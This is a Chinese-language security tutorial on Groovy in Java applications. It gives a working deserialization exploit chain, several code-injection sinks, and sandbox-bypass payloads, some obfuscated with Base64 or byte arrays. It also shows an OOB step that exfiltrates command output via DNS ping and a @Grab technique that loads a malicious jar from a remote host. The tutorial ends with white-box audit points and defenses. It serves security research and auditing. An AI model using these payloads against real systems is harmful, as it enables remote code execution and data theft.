Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
字数 948 2025-08-25 22:58:20

Groovy组件安全研究:从反序列化到命令注入及防御

1. Groovy反序列化漏洞分析

1.1 漏洞影响范围

  • 受影响的Groovy版本:1.7.0至2.4.3

1.2 漏洞利用链

AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
        ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
                MethodClosure.call()
                    ProcessGroovyMethods.execute()

1.3 漏洞利用代码示例

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.*;

public class Groovy_POC {
    public static String serialize(Object obj) throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(barr);
        outputStream.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        barr.close();
        return Base64.getEncoder().encodeToString(bytes);
    }
    
    public static void unserialize(String base64) throws Exception {
        byte[] decode = Base64.getDecoder().decode(base64);
        ByteArrayInputStream barr = new ByteArrayInputStream(decode);
        ObjectInputStream inputStream = new ObjectInputStream(barr);
        inputStream.readObject();
    }
    
    public static void main(String[] args) throws Exception {
        MethodClosure methodClosure = new MethodClosure("calc", "execute");
        ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
        
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        
        Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), 
                new Class[]{Map.class}, convertedClosure);
        
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
        String serialize = serialize(invocationHandler);
        System.out.println(serialize);
        unserialize(serialize);
    }
}

2. Groovy代码注入漏洞

2.1 漏洞条件

  • 外部可控输入Groovy代码
  • 可上传恶意Groovy脚本
  • 程序未对输入进行有效过滤

2.2 命令执行方法

// 基本执行方式
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显方式
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}"

2.3 注入点分析

2.3.1 MethodClosure

MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();

2.3.2 GroovyShell

// 直接执行Groovy代码
GroovyShell shell = new GroovyShell();
shell.evaluate("\'calc\'.execute()");

// 加载本地脚本
GroovyShell shell = new GroovyShell();
shell.evaluate(new File("path/to/script.groovy"));

// 加载远程脚本
GroovyShell shell = new GroovyShell();
shell.evaluate(new URI("http://example.com/script.groovy"));

2.3.3 GroovyScriptEngine

// 本地脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("path/to/scripts");
scriptEngine.run("script.groovy", "");

// 远程脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://example.com/");
scriptEngine.run("script.groovy", "");

2.3.4 GroovyClassLoader

// 从文件加载
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass(new File("script.groovy"));
GroovyObject object = (GroovyObject) aClass.newInstance();
object.invokeMethod("main", "");

// 从文本加载
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass("class Test { static void main(args){ 'calc'.execute() } }");
GroovyObject groovyObject = (GroovyObject) aClass.newInstance();
groovyObject.invokeMethod("main", "");

2.3.5 ScriptEngine

ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
scriptEngine.eval("\"whoami\".execute().text");

3. 绕过技术

3.1 反射+字符串拼接

Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ca" + "lc");

3.2 Groovy沙箱绕过

3.2.1 @AST注解执行断言

this.class.classLoader.parseClass("""
    @groovy.transform.ASTTest(value={
        assert Runtime.getRuntime().exec("calc")
    })
    def x
""")

// OOB示例
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
    cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".example.com";
    java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

3.2.2 Base64编码绕过

this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))

3.2.3 字节数组绕过

this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

3.3 @Grab注解加载远程恶意类

3.3.1 依赖要求

<dependency>
    <groupId>org.apache.ivy</groupId>
    <artifactId>ivy</artifactId>
    <version>2.4.0</version>
</dependency>

3.3.2 POC

this.class.classLoader.parseClass("""
    @GrabConfig(disableChecksums=true)
    @GrabResolver(name="Poc", root="http://127.0.0.1:8888/")
    @Grab(group="Poc", module="EvilJar", version="0")
    import java.lang.String
""");

3.3.3 恶意Jar构建步骤

  1. 创建恶意类Poc.java:
public class Poc {
    Poc() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}
  1. 编译并打包:
javac Poc.java
mkdir -p META-INF/services/
echo Poc > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf module-version.jar Poc.class META-INF/
mkdir -p group/module/version/
mv module-version.jar group/module/version/

4. 白盒排查方法

4.1 关键类函数特征

关键类 关键函数
groovy.lang.GroovyShell evaluate
groovy.util.GroovyScriptEngine run
groovy.lang.GroovyClassLoader parseClass
javax.script.ScriptEngine eval

4.2 排查要点

  1. 检查项目中是否使用了Groovy组件
  2. 检查Groovy版本是否在受影响范围内(1.7.0-2.4.3)
  3. 检查是否有用户可控的Groovy代码输入点
  4. 检查是否有Groovy脚本上传功能且未做安全过滤
  5. 检查是否使用了不安全的反序列化操作

5. 防御建议

  1. 升级Groovy到最新安全版本
  2. 对用户输入的Groovy代码进行严格过滤
  3. 禁用不必要的Groovy功能
  4. 实施沙箱环境限制Groovy执行权限
  5. 避免使用不安全的反序列化操作
  6. 对Groovy脚本上传功能实施严格的安全检查
  7. 使用安全框架对Groovy执行进行监控和限制
Groovy组件安全研究:从反序列化到命令注入及防御 1. Groovy反序列化漏洞分析 1.1 漏洞影响范围 受影响的Groovy版本:1.7.0至2.4.3 1.2 漏洞利用链 1.3 漏洞利用代码示例 2. Groovy代码注入漏洞 2.1 漏洞条件 外部可控输入Groovy代码 可上传恶意Groovy脚本 程序未对输入进行有效过滤 2.2 命令执行方法 2.3 注入点分析 2.3.1 MethodClosure 2.3.2 GroovyShell 2.3.3 GroovyScriptEngine 2.3.4 GroovyClassLoader 2.3.5 ScriptEngine 3. 绕过技术 3.1 反射+字符串拼接 3.2 Groovy沙箱绕过 3.2.1 @AST注解执行断言 3.2.2 Base64编码绕过 3.2.3 字节数组绕过 3.3 @Grab注解加载远程恶意类 3.3.1 依赖要求 3.3.2 POC 3.3.3 恶意Jar构建步骤 创建恶意类Poc.java: 编译并打包: 4. 白盒排查方法 4.1 关键类函数特征 | 关键类 | 关键函数 | |--------|----------| | groovy.lang.GroovyShell | evaluate | | groovy.util.GroovyScriptEngine | run | | groovy.lang.GroovyClassLoader | parseClass | | javax.script.ScriptEngine | eval | 4.2 排查要点 检查项目中是否使用了Groovy组件 检查Groovy版本是否在受影响范围内(1.7.0-2.4.3) 检查是否有用户可控的Groovy代码输入点 检查是否有Groovy脚本上传功能且未做安全过滤 检查是否使用了不安全的反序列化操作 5. 防御建议 升级Groovy到最新安全版本 对用户输入的Groovy代码进行严格过滤 禁用不必要的Groovy功能 实施沙箱环境限制Groovy执行权限 避免使用不安全的反序列化操作 对Groovy脚本上传功能实施严格的安全检查 使用安全框架对Groovy执行进行监控和限制